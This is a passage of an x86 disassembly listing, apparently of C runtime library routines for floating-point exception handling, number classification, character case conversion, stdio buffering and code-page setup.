CODE XREF: sub_429F79+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_42A124 ; --------------------------------------------------------------------------- loc_42A119: ; CODE XREF: sub_429F79+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_42A124: ; CODE XREF: sub_429F79+19Ej mov [eax], ecx loc_42A126: ; CODE XREF: sub_429F79+189j ; sub_429F79+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42A6A9 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_42F1F8 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_42A1A0 and dword ptr [esi], 0FFFFFFFEh loc_42A1A0: ; CODE XREF: sub_429F79+222j test byte ptr [eax+8], 8 jz short loc_42A1A9 and dword ptr [esi], 0FFFFFFFBh loc_42A1A9: ; CODE XREF: sub_429F79+22Bj test byte ptr [eax+8], 4 jz short loc_42A1B2 and dword ptr [esi], 0FFFFFFF7h loc_42A1B2: ; CODE XREF: sub_429F79+234j test byte ptr [eax+8], 2 jz short loc_42A1BB and dword ptr [esi], 0FFFFFFEFh loc_42A1BB: ; CODE XREF: sub_429F79+23Dj test [eax+8], bl jz short loc_42A1C3 and dword ptr [esi], 0FFFFFFDFh loc_42A1C3: ; CODE XREF: sub_429F79+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42A1F7 dec ecx jz short loc_42A1EB dec ecx jz short loc_42A1E1 dec ecx jnz short loc_42A1F9 or byte ptr [esi+1], 0Ch jmp short loc_42A1F9 ; --------------------------------------------------------------------------- loc_42A1E1: ; CODE XREF: sub_429F79+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_42A1F3 ; --------------------------------------------------------------------------- loc_42A1EB: ; CODE XREF: sub_429F79+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_42A1F3: ; CODE XREF: sub_429F79+270j mov [esi], ecx jmp short loc_42A1F9 ; --------------------------------------------------------------------------- loc_42A1F7: ; CODE XREF: sub_429F79+257j and [esi], edx loc_42A1F9: ; CODE XREF: sub_429F79+260j ; sub_429F79+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42A219 dec ecx jz short loc_42A210 dec ecx jnz short loc_42A222 and [esi], edx jmp short loc_42A222 ; --------------------------------------------------------------------------- loc_42A210: ; CODE XREF: sub_429F79+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_42A220 ; --------------------------------------------------------------------------- loc_42A219: ; CODE XREF: sub_429F79+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_42A220: ; CODE XREF: sub_429F79+29Ej mov [esi], ecx loc_42A222: ; CODE XREF: sub_429F79+291j ; sub_429F79+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_429F79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A22C proc near ; CODE XREF: sub_429EE1+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42A257 test byte ptr [ebp+arg_8], bl jz short loc_42A257 push ebx call sub_42A6DB pop ecx and edi, 0FFFFFFF7h jmp loc_42A421 ; --------------------------------------------------------------------------- loc_42A257: ; CODE XREF: sub_42A22C+15j ; sub_42A22C+1Aj test al, 4 jz short loc_42A271 test byte ptr [ebp+arg_8], 4 jz short loc_42A271 push 4 call sub_42A6DB pop ecx and edi, 0FFFFFFFBh jmp loc_42A421 ; --------------------------------------------------------------------------- loc_42A271: ; CODE XREF: sub_42A22C+2Dj ; sub_42A22C+33j test al, bl jz loc_42A34B test byte ptr [ebp+arg_8], 8 jz loc_42A34B push 8 call sub_42A6DB pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_42A323 cmp ecx, 400h jz short loc_42A2FB cmp ecx, 800h jz short loc_42A2D3 cmp ecx, eax jnz loc_42A343 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_42F570 fld dbl_44BD88 fnstsw ax sahf ja short loc_42A2CB fchs loc_42A2CB: ; CODE XREF: sub_42A22C+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_42A341 ; --------------------------------------------------------------------------- loc_42A2D3: ; CODE XREF: sub_42A22C+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_42F570 fnstsw ax sahf jbe short loc_42A2EB fld dbl_44BD78 jmp short loc_42A2F3 ; --------------------------------------------------------------------------- loc_42A2EB: ; CODE XREF: sub_42A22C+B5j fld dbl_44BD88 fchs loc_42A2F3: ; CODE XREF: sub_42A22C+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_42A341 ; --------------------------------------------------------------------------- loc_42A2FB: ; CODE XREF: sub_42A22C+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_42F570 fnstsw ax sahf jbe short loc_42A313 fld dbl_44BD88 jmp short loc_42A31B ; --------------------------------------------------------------------------- loc_42A313: ; CODE XREF: sub_42A22C+DDj fld dbl_44BD78 fchs loc_42A31B: ; CODE XREF: sub_42A22C+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_42A341 ; --------------------------------------------------------------------------- loc_42A323: ; CODE XREF: sub_42A22C+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_42F570 fld dbl_44BD78 fnstsw ax sahf ja short loc_42A33B fchs loc_42A33B: ; CODE XREF: sub_42A22C+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_42A341: ; CODE XREF: sub_42A22C+A5j ; sub_42A22C+CDj ... fstp qword ptr [ecx] loc_42A343: ; CODE XREF: sub_42A22C+81j and edi, 0FFFFFFFEh jmp loc_42A421 ; --------------------------------------------------------------------------- loc_42A34B: ; CODE XREF: sub_42A22C+47j ; sub_42A22C+51j test al, 2 jz loc_42A421 test byte ptr [ebp+arg_8], 10h jz loc_42A421 push esi xor esi, esi test al, 10h jz short loc_42A366 mov esi, ebx loc_42A366: ; CODE XREF: sub_42A22C+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_42F570 fnstsw ax sahf jz loc_42A40F fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42A5DA mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_42A3B1 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_42A405 ; --------------------------------------------------------------------------- loc_42A3B1: ; CODE XREF: sub_42A22C+17Aj fld [ebp+var_C] fcomp dbl_42F570 fnstsw ax sahf jnb short loc_42A3C3 mov edx, ebx jmp short loc_42A3C5 ; --------------------------------------------------------------------------- loc_42A3C3: ; CODE XREF: sub_42A22C+191j xor edx, edx loc_42A3C5: ; CODE XREF: sub_42A22C+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42A3F9 sub eax, ecx loc_42A3DC: ; CODE XREF: sub_42A22C+1CBj test byte ptr [ebp+var_C], bl jz short loc_42A3E7 test esi, esi jnz short loc_42A3E7 mov esi, ebx loc_42A3E7: ; CODE XREF: sub_42A22C+1B3j ; sub_42A22C+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_42A3F3 or byte ptr [ebp+var_C+3], 80h loc_42A3F3: ; CODE XREF: sub_42A22C+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42A3DC loc_42A3F9: ; CODE XREF: sub_42A22C+1ACj test edx, edx jz short loc_42A405 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_42A405: ; CODE XREF: sub_42A22C+183j ; sub_42A22C+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_42A411 ; --------------------------------------------------------------------------- loc_42A40F: ; CODE XREF: sub_42A22C+14Ej mov esi, ebx loc_42A411: ; CODE XREF: sub_42A22C+1E1j test esi, esi pop esi jz short loc_42A41E push 10h call sub_42A6DB pop ecx loc_42A41E: ; CODE XREF: sub_42A22C+1E8j and edi, 0FFFFFFFDh loc_42A421: ; CODE XREF: sub_42A22C+26j ; sub_42A22C+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42A438 test byte ptr [ebp+arg_8], 20h jz short loc_42A438 push 20h call sub_42A6DB pop ecx and edi, 0FFFFFFEFh loc_42A438: ; CODE XREF: sub_42A22C+1F9j ; sub_42A22C+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42A22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42A443(int, int, int, int, int, int, double, int) sub_42A443 proc near ; CODE XREF: sub_429E8D+2Bp ; sub_429EE1+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_42A4F3 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_42A4AE mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_42A6B8 lea eax, [ebp+var_20] push eax call sub_41A1C5 add esp, 0Ch test eax, eax jnz short loc_42A4A8 push esi call sub_42A4CB pop ecx loc_42A4A8: ; CODE XREF: sub_42A443+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_42A4AE: ; CODE XREF: sub_42A443+14j push 0FFFFh push [ebp+arg_20] call sub_42A6B8 push [ebp+arg_0] call sub_42A4CB fld [ebp+arg_18] add esp, 0Ch leave retn sub_42A443 endp ; =============== S U B R O U T I N E ======================================= sub_42A4CB proc near ; CODE XREF: sub_429EE1+7Dp ; sub_42A443+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_42A4E7 jle short locret_42A4F2 cmp eax, 3 jg short locret_42A4F2 call sub_426528 mov dword ptr [eax], 22h retn ; --------------------------------------------------------------------------- loc_42A4E7: ; CODE XREF: sub_42A4CB+7j call sub_426528 mov dword ptr [eax], 21h locret_42A4F2: ; CODE XREF: sub_42A4CB+9j ; sub_42A4CB+Ej retn sub_42A4CB endp ; =============== S U B R O U T I N E ======================================= sub_42A4F3 proc near ; CODE XREF: sub_42A443+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_44BCA0 loc_42A4FA: ; CODE XREF: sub_42A4F3+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_42A510 add eax, 8 inc ecx cmp eax, offset dbl_44BD78 jl short loc_42A4FA xor eax, eax retn ; --------------------------------------------------------------------------- loc_42A510: ; CODE XREF: sub_42A4F3+Dj mov eax, off_44BCA4[ecx*8] retn sub_42A4F3 endp ; =============== S U B R O U T I N E ======================================= sub_42A518 proc near ; CODE XREF: sub_429EE1+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_42A524 push 5 jmp short loc_42A53A ; --------------------------------------------------------------------------- loc_42A524: ; CODE XREF: sub_42A518+6j test al, 8 jz short loc_42A52C push 1 jmp short loc_42A53A ; --------------------------------------------------------------------------- loc_42A52C: ; CODE XREF: sub_42A518+Ej test al, 4 jz short loc_42A534 push 2 jmp short loc_42A53A ; --------------------------------------------------------------------------- loc_42A534: ; CODE XREF: sub_42A518+16j test al, 1 jz short loc_42A53C push 3 loc_42A53A: ; CODE XREF: sub_42A518+Aj ; sub_42A518+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42A53C: ; CODE XREF: sub_42A518+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_42A518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42A545(double) sub_42A545 proc near ; CODE XREF: sub_4242B0:loc_424336p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_42A545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42A557(double, int) sub_42A557 proc near ; CODE XREF: sub_42A5DA+82p ; sub_42A5DA+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_42A557 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A580 proc near ; CODE XREF: sub_4242B0+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_42A597 cmp [ebp+arg_0], edx jnz short loc_42A5A9 push 1 jmp short loc_42A5D3 ; --------------------------------------------------------------------------- loc_42A597: ; CODE XREF: sub_42A580+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_42A5A9 cmp [ebp+arg_0], edx jnz short loc_42A5A9 push 2 jmp short loc_42A5D3 ; --------------------------------------------------------------------------- loc_42A5A9: ; CODE XREF: sub_42A580+11j ; sub_42A580+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_42A5BC push 3 jmp short loc_42A5D3 ; --------------------------------------------------------------------------- loc_42A5BC: ; CODE XREF: sub_42A580+36j cmp cx, 7FF0h jnz short loc_42A5D6 test [ebp+arg_4], 7FFFFh jnz short loc_42A5D1 cmp [ebp+arg_0], edx jz short loc_42A5D6 loc_42A5D1: ; CODE XREF: sub_42A580+4Aj push 4 loc_42A5D3: ; CODE XREF: sub_42A580+15j ; sub_42A580+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42A5D6: ; CODE XREF: sub_42A580+41j ; sub_42A580+4Fj xor eax, eax pop ebp retn sub_42A580 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42A5DA(double, int) sub_42A5DA proc near ; CODE XREF: sub_42A22C+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_42F570 push esi fnstsw ax sahf jnz short loc_42A5FA fldz xor esi, esi fstp [ebp+var_8] jmp loc_42A690 ; --------------------------------------------------------------------------- loc_42A5FA: ; CODE XREF: sub_42A5DA+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42A669 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_42A612 cmp dword ptr [ebp+arg_0], ecx jz short loc_42A669 loc_42A612: ; CODE XREF: sub_42A5DA+31j fld [ebp+arg_0] fcomp dbl_42F570 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42A62A push 1 pop eax jmp short loc_42A62C ; --------------------------------------------------------------------------- loc_42A62A: ; CODE XREF: sub_42A5DA+49j xor eax, eax loc_42A62C: ; CODE XREF: sub_42A5DA+4Ej ; sub_42A5DA+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_42A645 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_42A63F or dword ptr [ebp+arg_0+4], 1 loc_42A63F: ; CODE XREF: sub_42A5DA+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42A62C ; --------------------------------------------------------------------------- loc_42A645: ; CODE XREF: sub_42A5DA+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_42A653 or byte ptr [ebp+arg_0+7], 80h loc_42A653: ; CODE XREF: sub_42A5DA+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_42A557 fstp [ebp+var_8] add esp, 0Ch jmp short loc_42A690 ; --------------------------------------------------------------------------- loc_42A669: ; CODE XREF: sub_42A5DA+28j ; sub_42A5DA+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_42A557 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_42A690: ; CODE XREF: sub_42A5DA+1Bj ; sub_42A5DA+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42A5DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A69B proc near ; CODE XREF: sub_429F79+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42A69B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A6A9 proc near ; CODE XREF: sub_429F79+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42A6A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A6B8 proc near ; CODE XREF: sub_4242B0+13p ; sub_4242B0+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_42A6B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A6DB proc near ; CODE XREF: sub_42A22C+1Dp ; sub_42A22C+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_42A6F2 fld tbyte_44BDA0 fistp [ebp+arg_0] wait loc_42A6F2: ; CODE XREF: sub_42A6DB+Bj test cl, 8 jz short loc_42A707 fstsw ax fld tbyte_44BDA0 fstp [ebp+var_8] wait fstsw ax loc_42A707: ; CODE XREF: sub_42A6DB+1Aj test cl, 10h jz short loc_42A716 fld tbyte_44BDAC fstp [ebp+var_8] wait loc_42A716: ; CODE XREF: sub_42A6DB+2Fj test cl, 4 jz short loc_42A724 fldz fld1 fdivrp st(1), st fstp st wait loc_42A724: ; CODE XREF: sub_42A6DB+3Ej test cl, 20h jz short locret_42A72F fldpi fstp [ebp+var_8] wait locret_42A72F: ; CODE XREF: sub_42A6DB+4Cj leave retn sub_42A6DB endp ; =============== S U B R O U T I N E ======================================= sub_42A731 proc near ; CODE XREF: sub_428A62+9p arg_0 = dword ptr 4 push ebx xor ebx, ebx cmp dword_6314C8, ebx jnz short loc_42A74F mov eax, [esp+4+arg_0] cmp eax, 41h jl short loc_42A79E cmp eax, 5Ah jg short loc_42A79E add eax, 20h pop ebx retn ; --------------------------------------------------------------------------- loc_42A74F: ; CODE XREF: sub_42A731+9j push esi mov esi, offset dword_63198C push edi push esi call dword_42F200 ; InterlockedIncrement cmp dword_631988, ebx mov edi, dword_42F1FC jz short loc_42A779 push esi call edi ; dword_42F1FC push 13h call sub_428436 pop ecx push 1 pop ebx loc_42A779: ; CODE XREF: sub_42A731+38j push [esp+0Ch+arg_0] call sub_42A7A0 test ebx, ebx pop ecx mov [esp+0Ch+arg_0], eax jz short loc_42A795 push 13h call sub_428497 pop ecx jmp short loc_42A798 ; --------------------------------------------------------------------------- loc_42A795: ; CODE XREF: sub_42A731+58j push esi call edi ; dword_42F1FC loc_42A798: ; CODE XREF: sub_42A731+62j mov eax, [esp+0Ch+arg_0] pop edi pop esi loc_42A79E: ; CODE XREF: sub_42A731+12j ; sub_42A731+17j pop ebx retn sub_42A731 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A7A0 proc near ; CODE XREF: sub_424380+94p ; sub_424380+9Ep ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_6314C8, 0 push ebx push esi push edi jnz short loc_42A7CD mov eax, [ebp+arg_0] cmp eax, 41h jl loc_42A866 cmp eax, 5Ah jg loc_42A866 add eax, 20h jmp loc_42A866 ; --------------------------------------------------------------------------- loc_42A7CD: ; CODE XREF: sub_42A7A0+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_42A801 cmp dword_449A44, esi jle short loc_42A7EF push esi push ebx call sub_42653A pop ecx pop ecx jmp short loc_42A7F9 ; --------------------------------------------------------------------------- loc_42A7EF: ; CODE XREF: sub_42A7A0+42j mov eax, off_449838 mov al, [eax+ebx*2] and eax, esi loc_42A7F9: ; CODE XREF: sub_42A7A0+4Dj test eax, eax jnz short loc_42A801 loc_42A7FD: ; CODE XREF: sub_42A7A0+ADj mov eax, ebx jmp short loc_42A866 ; --------------------------------------------------------------------------- loc_42A801: ; CODE XREF: sub_42A7A0+3Aj ; sub_42A7A0+5Bj mov edx, off_449838 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_42A825 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_42A82E ; --------------------------------------------------------------------------- loc_42A825: ; CODE XREF: sub_42A7A0+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_42A82E: ; CODE XREF: sub_42A7A0+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_6314C8 call sub_429BA7 add esp, 20h test eax, eax jz short loc_42A7FD cmp eax, esi jnz short loc_42A859 movzx eax, [ebp+var_4] jmp short loc_42A866 ; --------------------------------------------------------------------------- loc_42A859: ; CODE XREF: sub_42A7A0+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_42A866: ; CODE XREF: sub_42A7A0+16j ; sub_42A7A0+1Fj ... pop edi pop esi pop ebx leave retn sub_42A7A0 endp ; =============== S U B R O U T I N E ======================================= sub_42A86B proc near ; CODE XREF: sub_424496+11p ; sub_424744+Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42B835 test eax, eax pop ecx jz short loc_42A8F4 cmp esi, offset dword_449450 jnz short loc_42A889 xor eax, eax jmp short loc_42A894 ; --------------------------------------------------------------------------- loc_42A889: ; CODE XREF: sub_42A86B+18j cmp esi, offset dword_449470 jnz short loc_42A8F4 push 1 pop eax loc_42A894: ; CODE XREF: sub_42A86B+1Cj inc dword_6313E8 test word ptr [esi+0Ch], 10Ch jnz short loc_42A8F4 cmp dword_6314E0[eax*4], 0 push ebx push edi lea edi, ds:6314E0h[eax*4] mov ebx, 1000h jnz short loc_42A8DA push ebx call sub_422F79 test eax, eax pop ecx mov [edi], eax jnz short loc_42A8DA lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_42A8E7 ; --------------------------------------------------------------------------- loc_42A8DA: ; CODE XREF: sub_42A86B+4Dj ; sub_42A86B+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_42A8E7: ; CODE XREF: sub_42A86B+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_42A8F4: ; CODE XREF: sub_42A86B+10j ; sub_42A86B+24j ... xor eax, eax pop esi retn sub_42A86B endp ; =============== S U B R O U T I N E ======================================= sub_42A8F8 proc near ; CODE XREF: sub_424496+2Bp ; sub_424744+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_42A920 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42A920 push esi call sub_42671D and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx loc_42A920: ; CODE XREF: sub_42A8F8+6j ; sub_42A8F8+10j pop esi retn sub_42A8F8 endp ; =============== S U B R O U T I N E ======================================= sub_42A922 proc near ; CODE XREF: sub_42A953+4p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_42483C dec dword ptr [esi+4] pop ecx js short loc_42A93E mov eax, [esi] movzx edi, byte ptr [eax] inc eax mov [esi], eax jmp short loc_42A947 ; --------------------------------------------------------------------------- loc_42A93E: ; CODE XREF: sub_42A922+10j push esi call sub_426826 pop ecx mov edi, eax loc_42A947: ; CODE XREF: sub_42A922+1Aj push esi call sub_42488E pop ecx mov eax, edi pop edi pop esi retn sub_42A922 endp ; =============== S U B R O U T I N E ======================================= sub_42A953 proc near ; CODE XREF: sub_4245EC+5p arg_0 = dword ptr 4 push [esp+arg_0] call sub_42A922 pop ecx retn sub_42A953 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A95E proc near ; CODE XREF: sub_42AD36+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 19h call sub_428436 push [ebp+arg_0] call sub_42AB0B ; GetOEMCP mov ebx, eax pop ecx cmp ebx, dword_631768 pop ecx mov [ebp+arg_0], ebx jnz short loc_42A98C loc_42A985: ; CODE XREF: sub_42A95E+196j xor esi, esi jmp loc_42AAFC ; --------------------------------------------------------------------------- loc_42A98C: ; CODE XREF: sub_42A95E+25j test ebx, ebx jz loc_42AAEA xor edx, edx mov eax, offset dword_44BDC0 loc_42A99B: ; CODE XREF: sub_42A95E+4Aj cmp [eax], ebx jz short loc_42AA13 add eax, 30h inc edx cmp eax, offset dword_44BEB0 jl short loc_42A99B lea eax, [ebp+var_18] push eax push ebx call dword_42F19C ; GetCPInfo push 1 pop esi cmp eax, esi jnz loc_42AAE1 push 40h and dword_631984, 0 pop ecx xor eax, eax mov edi, offset byte_631880 cmp [ebp+var_18], esi rep stosd stosb mov dword_631768, ebx jbe loc_42AACE cmp [ebp+var_12], 0 jz loc_42AAA9 lea ecx, [ebp+var_11] loc_42A9F0: ; CODE XREF: sub_42A95E+145j mov dl, [ecx] test dl, dl jz loc_42AAA9 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_42AA01: ; CODE XREF: sub_42A95E+B3j cmp eax, edx ja loc_42AA9D or byte_631881[eax], 4 inc eax jmp short loc_42AA01 ; --------------------------------------------------------------------------- loc_42AA13: ; CODE XREF: sub_42A95E+3Fj and [ebp+var_4], 0 push 40h pop ecx xor eax, eax mov edi, offset byte_631880 lea esi, [edx+edx*2] rep stosd shl esi, 4 stosb lea ebx, dword_44BDD0[esi] loc_42AA30: ; CODE XREF: sub_42A95E+10Fj cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_42AA63 loc_42AA37: ; CODE XREF: sub_42A95E+103j mov dl, [ecx+1] test dl, dl jz short loc_42AA63 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42AA5C mov edx, [ebp+var_4] mov dl, byte_44BDB8[edx] loc_42AA51: ; CODE XREF: sub_42A95E+FCj or byte_631881[eax], dl inc eax cmp eax, edi jbe short loc_42AA51 loc_42AA5C: ; CODE XREF: sub_42A95E+E8j inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_42AA37 loc_42AA63: ; CODE XREF: sub_42A95E+D7j ; sub_42A95E+DEj inc [ebp+var_4] add ebx, 8 